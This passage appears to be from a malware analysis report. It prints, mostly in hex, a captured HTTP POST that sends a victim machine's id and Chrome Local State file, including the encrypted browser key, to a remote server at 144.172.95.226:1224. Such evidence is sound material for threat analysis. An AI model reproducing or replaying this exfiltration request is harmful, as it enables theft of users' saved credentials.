4:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:33:31:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:33:34:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:39:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:7d:2c:22:6d:6f:64:65:6c:5f:73:74:6f:72:65:5f:6d:65:74:61:64:61:74:61:22:3a:7b:22:31:33:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:33:33:34:30:35:38:31:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:31:33:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:43:44:38:30:37:38:37:36:32:46:41:36:42:39:31:44:22:2c:22:76:22:3a:22:31:36:37:33:39:39:39:36:30:31:22:7d:7d:2c:22:31:35:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:35:36:35:36:38:31:38:22:2c:22:6b:62:76:64:22:3a:74:72:75:65:2c:22:6d:62:64:22:3a:22:31:35:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:39:32:33:41:43:30:43:41:34:34:42:46:31:46:41:39:22:2c:22:76:22:3a:22:34:22:7d:7d:2c:22:32:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:32:39:39:36:35:32:31:22:2c:22:6b:62:76:64:22:3a:74:72:75:65:2c:22:6d:62:64:22:3a:22:32:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:45:46:46:42:46:41:46:31:41:31:35:45:33:42:43:41:22:2c:22:76:22:3a:22:31:36:37:39:33:31:37:33:31:38:22:7d:7d:2c:22:32:30:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:33:35:36:39:31:36:36:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:32:30:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:45:46:45:34:31:44:46:33:37:44:37:44:36:37:30:46:22:2c:22:76:22:3a:22:31:37:30:38:33:35:38:36:37:30:22:7d:7d:2c:22:32:34:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:34:34:38:30:32:32:34:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:32:34:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:33:30:46:41:46:41:36:39:33:33:33:38:30:36:45:39:22:2c:22:76:22:3a:22:31:36:37:38:39:30:36:33:37:34:22:7d:7d:2c:22:32:35:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:36:33:35:30:32:31:39:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:32:35:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:45:37:33:34:30:31:33:46:38:34:46:41:36:31:34:41:22:2c:22:76:22:3a:22:31:37:30:37:37:35:33:37:31:35:22:7d:7d:2c:22:32:36:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:36:36:34:38:33:37:35:35:36:35:37:34:35:30:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:32:36:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:36:44:31:44:36:32:36:34:42:43:44:37:32:30:34:39:22:2c:22:76:22:3a:22:31:36:39:36:32:36:37:38:34:31:22:7d:7d:2c:22:33:31:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:36:33:34:39:32:35:32:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:33:31:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:43:41:39:34:46:35:38:33:34:33:35:44:33:41:35:44:22:2c:22:76:22:3a:22:31:36:39:31:30:34:32:35:31:31:22:7d:7d:2c:22:33:34:22:3a:7b:7d:2c:22:39:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:32:39:39:37:33:37:39:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:39:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:30:31:43:30:34:30:45:44:31:46:39:37:36:30:32:46:22:2c:22:76:22:3a:22:31:37:30:38:34:35:32:32:38:36:22:7d:7d:7d:7d:2c:22:6f:73:5f:63:72:79:70:74:22:3a:7b:22:61:70:70:5f:62:6f:75:6e:64:5f:66:69:78:65:64:5f:64:61:74:61:22:3a:22:41:51:41:41:41:4e:43:4d:6e:64:38:42:46:64:45:52:6a:48:6f:41:77:45:2f:43:6c:2b:73:42:41:41:41:41:4b:58:6d:2f:6a:79:34:73:67:55:79:71:54:6b:33:6b:43:4f:36:4f:69:67:41:41:41:41:41:43:41:41:41:41:41:41:41:51:5a:67:41:41:41:41:45:41:41:43:41:41:41:41:42:4a:79:49:46:54:38:55:74:75:5a:49:2b:79:76:69:70:39:58:39:2f:2b:5a:78:70:41:42:30:78:67:47:31:44:52:4f:4f:65:43:39:77:37:61:65:51:41:41:41:41:41:4f:67:41:41:41:41:41:49:41:41:43:41:41:41:41:43:59:70:77:57:56:4a:67:38:73:30:67:6f:6a:71:32:34:30:50:44:2f:43:31:66:30:6f:62:46:72:6b:4e:55:30:7a:47:75:34:45:68:6b:75:35:45:47:41:42:41:41:44:65:4a:44:59:52:67:39:73:78:6c:36:79:6f:30:31:6c:6e:4b:6a:63:31:6f:45:32:51:44:6f:47:59:46:46:54:72:74:59:4e:5a:38:76:52:46:51:61:55:36:34:68:6d:58:4c:52:46:33:38:49:59:35:4f:76:77:33:66:45:6f:30:32:36:43:4d:48:68:33:6b:56:35:6f:74:52:4e:66:30:30:41:55:43:6f:4e:61:73:6b:49:79:45:4f:35:57:37:66:42:34:57:7a:77:4a:70:41:77:2f:35:37:48:58:37:4f:6f:75:59:31:32:50:31:4d:54:42:6e:61:7a:43:74:4d:54:39:52:45:4e:51:49:56:56:78:66:74:63:55:66:63:32:41:57:38:34:46:57:68:69:73:45:77:55:4d:76:64:7a:72:4a:2f:37:75:4c:63:71:4b:58:5a:30:6f:77:68:5a:50:4f:75:50:77:34:55:73:57:62:58:66:47:47:34:34:55:46:69:4c:63:59:56:69:33:2f:58:57:63:78:6c:6b:48:70:73:44:5a:33:6f:75:6c:44:68:77:73:6c:2b:49:2f:31:36:35:6a:47:43:76:42:42:64:2b:6e:4e:33:4f:6a:75:6d:41:78:6c:34:6f:36:43:57:53:37:79:2f:53:45:39:6d:68:74:30:59:6a:4e:55:4b:70:5a:4f:45:61:63:55:63:34:57:6e:56:32:72:4d:53:43:67:4b:68:34:56:46:46:48:65:42:6d:70:59:65:52:76:4a:55:75:33:68:5a:65:6c:78:66:31:4c:6f:33:54:4f:5a:35:70:78:41:49:45:56:35:57:55:5a:6e:32:67:35:45:6b:65:2f:77:61:31:42:6f:74:74:7a:39:4d:72:66:5a:77:4b:6b:2b:64:66:59:48:5a:45:6e:75:38:55:36:74:32:71:35:67:79:78:2b:69:31:30:34:50:70:4f:4a:77:4f:46:68:51:42:57:65:4a:67:64:6b:7a:4a:30:35:4e:63:6e:6b:34:2f:43:2b:41:74:62:75:63:68:76:39:65:41:59:70:50:48:54:78:75:73:4e:61:49:68:54:42:38:4e:34:30:65:48:47:68:69:77:4e:46:54:72:70:6e:39:46:65:57:31:36:5a:6c:41:65:39:4f:67:6c:68:58:34:49:50:41:39:44:51:41:41:41:41:4c:53:74:61:30:67:75:4c:65:4e:5a:30:78:76:39:57:73:62:46:46:37:39:38:6c:6c:64:75:34:70:73:6b:4b:2f:44:6d:64:2f:4d:61:43:4e:76:49:4e:62:47:5a:5a:45:35:46:39:59:2f:4b:71:4f:55:7a:56:51:6b:4d:52:44:31:63:44:33:50:34:42:4e:4c:51:76:4c:33:62:59:4d:5a:44:56:75:77:3d:22:2c:22:61:75:64:69:74:5f:65:6e:61:62:6c:65:64:22:3a:74:72:75:65:2c:22:65:6e:63:72:79:70:74:65:64:5f:6b:65:79:22:3a:22:52:46:42:42:55:45:6b:42:41:41:41:41:30:49:79:64:33:77:45:56:30:52:47:4d:65:67:44:41:54:38:4b:58:36:77:45:41:41:41:41:6e:51:4e:46:77:59:4f:35:37:51:61:34:37:4e:72:79:34:32:6b:33:5a:45:41:41:41:41:42:77:41:41:41:42:48:41:47:38:41:62:77:42:6e:41:47:77:41:5a:51:41:67:41:45:4d:41:61:41:42:79:41:47:38:41:62:51:42:6c:41:41:41:41:45:47:59:41:41:41:41:42:41:41:41:67:41:41:41:41:45:48:46:48:4c:46:64:6a:64:2f:77:69:68:76:78:31:38:6a:47:71:52:43:43:35:72:49:36:32:30:51:62:7a:4f:55:4f:36:71:50:72:4c:68:62:45:41:41:41:41:41:44:6f:41:41:41:41:41:43:41:41:41:67:41:41:41:41:61:4a:55:33:66:65:38:41:72:6e:44:4f:74:52:52:4a:36:6d:6c:50:67:58:78:37:45:65:39:73:36:76:70:37:57:54:66:35:41:41:4a:62:56:61:4d:77:41:41:41:41:58:37:51:69:44:79:50:78:39:4a:5a:42:58:61:70:4f:78:69:7a:2f:69:74:63:68:44:5a:31:74:72:58:6b:61:71:41:6f:6b:51:75:39:38:72:6d:68:4a:43:44:63:41:45:46:76:32:32:4e:30:50:56:4d:4e:74:43:4c:6b:4b:51:41:41:41:41:4c:54:45:72:66:4a:78:2b:31:54:6e:73:39:75:65:4e:35:33:6f:4f:37:45:5a:36:4f:69:34:66:59:49:72:54:53:2b:48:61:61:36:69:32:45:54:36:4d:36:39:73:36:69:4d:59:6a:63:34:52:38:34:38:2f:6a:46:78:34:44:70:77:35:71:42:71:43:41:4d:58:68:6a:34:4a:6f:42:43:51:79:73:75:67:3d:22:7d:2c:22:70:61:73:73:77:6f:72:64:5f:6d:61:6e:61:67:65:72:22:3a:7b:22:69:73:5f:62:69:6f:6d:65:74:72:69:63:5f:61:76:61:6c:69:61:62:6c:65:22:3a:66:61:6c:73:65:2c:22:6f:73:5f:70:61:73:73:77:6f:72:64:5f:62:6c:61:6e:6b:22:3a:66:61:6c:73:65:2c:22:6f:73:5f:70:61:73:73:77:6f:72:64:5f:6c:61:73:74:5f:63:68:61:6e:67:65:64:22:3a:22:31:33:31:36:34:37:34:30:34:35:39:32:30:31:35:34:38:22:7d:2c:22:70:6f:6c:69:63:79:22:3a:7b:22:6c:61:73:74:5f:73:74:61:74:69:73:74:69:63:73:5f:75:70:64:61:74:65:22:3a:22:31:33:33:35:36:36:32:30:33:31:39:35:36:33:34:34:39:22:7d:2c:22:70:72:6f:66:69:6c:65:22:3a:7b:22:69:6e:66:6f:5f:63:61:63:68:65:22:3a:7b:22:44:65:66:61:75:6c:74:22:3a:7b:22:61:63:74:69:76:65:5f:74:69:6d:65:22:3a:31:37:31:32:31:34:36:37:31:39:2e:38:34:30:32:38:39:2c:22:61:76:61:74:61:72:5f:69:63:6f:6e:22:3a:22:63:68:72:6f:6d:65:3a:2f:2f:74:68:65:6d:65:2f:49:44:52:5f:50:52:4f:46:49:4c:45:5f:41:56:41:54:41:52:5f:32:36:22:2c:22:62:61:63:6b:67:72:6f:75:6e:64:5f:61:70:70:73:22:3a:66:61:6c:73:65:2c:22:66:6f:72:63:65:5f:73:69:67:6e:69:6e:5f:70:72:6f:66:69:6c:65:5f:6c:6f:63:6b:65:64:22:3a:66:61:6c:73:65:2c:22:67:61:69:61:5f:67:69:76:65:6e:5f:6e:61:6d:65:22:3a:22:22:2c:22:67:61:69:61:5f:69:64:22:3a:22:22:2c:22:67:61:69:61:5f:6e:61:6d:65:22:3a:22:22:2c:22:68:6f:73:74:65:64:5f:64:6f:6d:61:69:6e:22:3a:22:22:2c:22:69:73:5f:63:6f:6e:73:65:6e:74:65:64:5f:70:72:69:6d:61:72:79:5f:61:63:63:6f:75:6e:74:22:3a:66:61:6c:73:65:2c:22:69:73:5f:65:70:68:65:6d:65:72:61:6c:22:3a:66:61:6c:73:65:2c:22:69:73:5f:75:73:69:6e:67:5f:64:65:66:61:75:6c:74:5f:61:76:61:74:61:72:22:3a:74:72:75:65:2c:22:69:73:5f:75:73:69:6e:67:5f:64:65:66:61:75:6c:74:5f:6e:61:6d:65:22:3a:74:72:75:65:2c:22:6d:61:6e:61:67:65:64:5f:75:73:65:72:5f:69:64:22:3a:22:22:2c:22:6d:65:74:72:69:63:73:5f:62:75:63:6b:65:74:5f:69:6e:64:65:78:22:3a:31:2c:22:6e:61:6d:65:22:3a:22:50:65:72:73:6f:6e:20:31:22:2c:22:73:68:6f:72:74:63:75:74:5f:6e:61:6d:65:22:3a:22:50:65:72:73:6f:6e:20:31:22:2c:22:73:69:67:6e:69:6e:2e:77:69:74:68:5f:63:72:65:64:65:6e:74:69:61:6c:5f:70:72:6f:76:69:64:65:72:22:3a:66:61:6c:73:65:2c:22:75:73:65:72:5f:6e:61:6d:65:22:3a:22:22:7d:7d:2c:22:6c:61:73:74:5f:61:63:74:69:76:65:5f:70:72:6f:66:69:6c:65:73:22:3a:5b:5d:2c:22:6d:65:74:72:69:63:73:22:3a:7b:22:6e:65:78:74:5f:62:75:63:6b:65:74:5f:69:6e:64:65:78:22:3a:32:7d:2c:22:70:72:6f:66:69:6c:65:5f:63:6f:75:6e:74:73:5f:72:65:70:6f:72:74:65:64:22:3a:22:31:33:33:35:36:36:32:30:33:31:39:35:34:39:32:34:30:22:2c:22:70:72:6f:66:69:6c:65:73:5f:6f:72:64:65:72:22:3a:5b:22:44:65:66:61:75:6c:74:22:5d:7d:2c:22:70:72:6f:66:69:6c:65:5f:6e:65:74:77:6f:72:6b:5f:63:6f:6e:74:65:78:74:5f:73:65:72:76:69:63:65:22:3a:7b:22:68:74:74:70:5f:63:61:63:68:65:5f:66:69:6e:63:68:5f:65:78:70:65:72:69:6d:65:6e:74:5f:67:72:6f:75:70:73:22:3a:22:4e:6f:6e:65:20:4e:6f:6e:65:20:4e:6f:6e:65:20:4e:6f:6e:65:22:7d:2c:22:73:65:73:73:69:6f:6e:5f:69:64:5f:67:65:6e:65:72:61:74:6f:72:5f:6c:61:73:74:5f:76:61:6c:75:65:22:3a:22:31:35:39:39:39:35:33:33:36:31:22:2c:22:73:75:62:72:65:73:6f:75:72:63:65:5f:66:69:6c:74:65:72:22:3a:7b:22:72:75:6c:65:73:65:74:5f:76:65:72:73:69:6f:6e:22:3a:7b:22:63:68:65:63:6b:73:75:6d:22:3a:30:2c:22:63:6f:6e:74:65:6e:74:22:3a:22:22:2c:22:66:6f:72:6d:61:74:22:3a:30:7d:7d:2c:22:74:61:62:5f:73:74:61:74:73:22:3a:7b:22:64:69:73:63:61:72:64:73:5f:65:78:74:65:72:6e:61:6c:22:3a:30:2c:22:64:69:73:63:61:72:64:73:5f:70:72:6f:61:63:74:69:76:65:22:3a:30:2c:22:64:69:73:63:61:72:64:73:5f:75:72:67:65:6e:74:22:3a:30:2c:22:6c:61:73:74:5f:64:61:69:6c:79:5f:73:61:6d:70:6c:65:22:3a:22:31:33:33:35:36:36:32:30:33:31:39:35:35:38:33:31:39:22:2c:22:6d:61:78:5f:74:61:62:73:5f:70:65:72:5f:77:69:6e:64:6f:77:22:3a:31:2c:22:72:65:6c:6f:61:64:73:5f:65:78:74:65:72:6e:61:6c:22:3a:30:2c:22:72:65:6c:6f:61:64:73:5f:70:72:6f:61:63:74:69:76:65:22:3a:30:2c:22:72:65:6c:6f:61:64:73:5f:75:72:67:65:6e:74:22:3a:30:2c:22:74:6f:74:61:6c:5f:74:61:62:5f:63:6f:75:6e:74:5f:6d:61:78:22:3a:31:2c:22:77:69:6e:64:6f:77:5f:63:6f:75:6e:74:5f:6d:61:78:22:3a:31:7d:2c:22:74:70:63:64:5f:65:78:70:65:72:69:6d:65:6e:74:22:3a:7b:22:63:6c:69:65:6e:74:5f:73:74:61:74:65:22:3a:31:2c:22:63:6c:69:65:6e:74:5f:73:74:61:74:65:5f:76:65:72:73:69:6f:6e:22:3a:31:7d:2c:22:75:6b:6d:22:3a:7b:22:70:65:72:73:69:73:74:65:64:5f:6c:6f:67:73:22:3a:5b:5d:7d:2c:22:75:6e:69:6e:73:74:61:6c:6c:5f:6d:65:74:72:69:63:73:22:3a:7b:22:69:6e:73:74:61:6c:6c:61:74:69:6f:6e:5f:64:61:74:65:32:22:3a:22:31:37:30:39:39:31:34:31:34:30:22:7d:2c:22:75:73:65:72:5f:65:78:70:65:72:69:65:6e:63:65:5f:6d:65:74:72:69:63:73:22:3a:7b:22:64:65:66:61:75:6c:74:5f:6f:70:74:5f:69:6e:22:3a:32:2c:22:6c:61:73:74:5f:73:65:65:6e:22:3a:7b:22:53:65:74:75:70:4d:65:74:72:69:63:73:22:3a:22:31:33:33:35:34:33:38:37:37:34:34:32:31:35:30:37:31:22:7d:2c:22:6c:6f:77:5f:65:6e:74:72:6f:70:79:5f:73:6f:75:72:63:65:33:22:3a:36:37:34:35:2c:22:6d:61:63:68:69:6e:65:5f:69:64:22:3a:31:35:34:37:37:38:32:30:2c:22:70:73:65:75:64:6f:5f:6c:6f:77:5f:65:6e:74:72:6f:70:79:5f:73:6f:75:72:63:65:22:3a:39:38:31:2c:22:73:65:73:73:69:6f:6e:5f:69:64:22:3a:34:2c:22:73:74:61:62:69:6c:69:74:79:22:3a:7b:22:62:7"; File: "PCAP") Found string "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------640527113356197106117959content-length: 120198Connection: close2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:36:34:30:35:32:37:31:31:33:33:35:36:31:39:37:31:30:36:31:31:37:39:35:39:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:74:79:70:65:22:0d:0a:0d:0a:33:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:36:34:30:35:32:37:31:31:33:33:35:36:31:39:37:31:30:36:31:31:37:39:35:39:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:68:69:64:22:0d:0a:0d:0a:31:30:32:5f:44:45:53:4b:54:4f:50:2d:46:56:56:46:38:32:41:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:36:34:30:35:32:37:31:31:33:33:35:36:31:39:37:31:30:36:31:31:37:39:35:39:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:75:74:73:22:0d:0a:0d:0a:31:37:34:37:38:35:36:36:32:38:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:36:34:30:35:32:37:31:31:33:33:35:36:31:39:37:31:30:36:31:31:37:39:35:39:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:6d:75:6c:74:69:5f:66:69:6c:65:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:30:5f:6c:73:74:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:61:70:70:6c:69:63:61:74:69:6f:6e:2f:6f:63:74:65:74:2d:73:74:72:65:61:6d:0d:0a:0d:0a:7b:22:62:72:65:61:64:63:72:75:6d:62:73:22:3a:7b:22:65:6e:61:62:6c:65:64:22:3a:66:61:6c:73:65:2c:22:65:6e:61:62:6c:65:64:5f:74:69:6d:65:22:3a:22:31:33:33:35:34:33:38:37:37:34:31:30:37:30:35:38:33:22:7d:2c:22:62:72:6f:77:73:65:72:22:3a:7b:22:66:69:72:73:74:5f:72:75:6e:5f:66:69:6e:69:73:68:65:64:22:3a:74:72:75:65:2c:22:6c:61:73:74:5f:77:68:61:74:73:5f:6e:65:77:5f:76:65:72:73:69:6f:6e:22:3a:31:32:32:2c:22:73:68:6f:72:74:63:75:74:5f:6d:69:67:72:61:74:69:6f:6e:5f:76:65:72:73:69:6f:6e:22:3a:22:31:32:32:2e:30:2e:36:32:36:31:2e:31:31:32:22:7d:2c:22:68:61:72:64:77:61:72:65:5f:61:63:63:65:6c:65:72:61:74:69:6f:6e:5f:6d:6f:64:65:5f:70:72:65:76:69:6f:75:73:22:3a:74:72:75:65:2c:22:69:6e:74:6c:22:3a:7b:22:61:70:70:5f:6c:6f:63:61:6c:65:22:3a:22:65:6e:22:7d:2c:22:6c:65:67:61:63:79:22:3a:7b:22:70:72:6f:66:69:6c:65:22:3a:7b:22:6e:61:6d:65:22:3a:7b:22:6d:69:67:72:61:74:65:64:22:3a:74:72:75:65:7d:7d:7d:2c:22:6d:61:6e:61:67:65:6d:65:6e:74:22:3a:7b:22:70:6c:61:74:66:6f:72:6d:22:3a:7b:22:61:7a:75:72:65:5f:61:63:74:69:76:65:5f:64:69:72:65:63:74:6f:72:79:22:3a:30:2c:22:65:6e:74:65:72:70:72:69:73:65:5f:6d:64:6d:5f:77:69:6e:22:3a:30:7d:7d:2c:22:6f:70:74:69:6d:69:7a:61:74:69:6f:6e:5f:67:75:69:64:65:22:3a:7b:22:6d:6f:64:65:6c:5f:63:61:63:68:65:5f:6b:65:79:5f:6d:61:70:70:69:6e:67:22:3a:7b:22:31:33:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:31:35:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:30:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:34:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:35:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:36:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:32:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:33:31:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:33:34:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:2c:22:39:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:22:3a:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:7d:2c:22:6d:6f:64:65:6c:5f:73:74:6f:72:65:5f:6d:65:74:61:64:61:74:61:22:3a:7b:22:31:33:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:33:33:34:30:35:38:31:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:31:33:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:43:44:38:30:37:38:37:36:32:46:41:36:42:39:31:44:22:2c:22:76:22:3a:22:31:36:37:33:39:39:39:36:30:31:22:7d:7d:2c:22:31:35:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:35:36:35:36:38:31:38:22:2c:22:6b:62:76:64:22:3a:74:72:75:65:2c:22:6d:62:64:22:3a:22:31:35:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:39:32:33:41:43:30:43:41:34:34:42:46:31:46:41:39:22:2c:22:76:22:3a:22:34:22:7d:7d:2c:22:32:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:32:39:39:36:35:32:31:22:2c:22:6b:62:76:64:22:3a:74:72:75:65:2c:22:6d:62:64:22:3a:22:32:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:45:46:46:42:46:41:46:31:41:31:35:45:33:42:43:41:22:2c:22:76:22:3a:22:31:36:37:39:33:31:37:33:31:38:22:7d:7d:2c:22:32:30:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:33:35:36:39:31:36:36:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:32:30:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:45:46:45:34:31:44:46:33:37:44:37:44:36:37:30:46:22:2c:22:76:22:3a:22:31:37:30:38:33:35:38:36:37:30:22:7d:7d:2c:22:32:34:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:34:34:38:30:32:32:34:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:32:34:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:33:30:46:41:46:41:36:39:33:33:33:38:30:36:45:39:22:2c:22:76:22:3a:22:31:36:37:38:39:30:36:33:37:34:22:7d:7d:2c:22:32:35:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:36:33:35:30:32:31:39:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:32:35:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:45:37:33:34:30:31:33:46:38:34:46:41:36:31:34:41:22:2c:22:76:22:3a:22:31:37:30:37:37:35:33:37:31:35:22:7d:7d:2c:22:32:36:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:36:36:34:38:33:37:35:35:36:35:37:34:35:30:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:32:36:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:36:44:31:44:36:32:36:34:42:43:44:37:32:30:34:39:22:2c:22:76:22:3a:22:31:36:39:36:32:36:37:38:34:31:22:7d:7d:2c:22:33:31:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:36:33:34:39:32:35:32:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:33:31:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:43:41:39:34:46:35:38:33:34:33:35:44:33:41:35:44:22:2c:22:76:22:3a:22:31:36:39:31:30:34:32:35:31:31:22:7d:7d:2c:22:33:34:22:3a:7b:7d:2c:22:39:22:3a:7b:22:34:46:34:30:39:30:32:46:33:42:36:41:45:31:39:41:22:3a:7b:22:65:74:22:3a:22:31:33:33:35:36:39:37:39:37:35:32:39:39:37:33:37:39:22:2c:22:6b:62:76:64:22:3a:66:61:6c:73:65:2c:22:6d:62:64:22:3a:22:39:5c:5c:45:36:44:43:34:30:32:39:41:31:45:34:42:34:43:31:5c:5c:30:31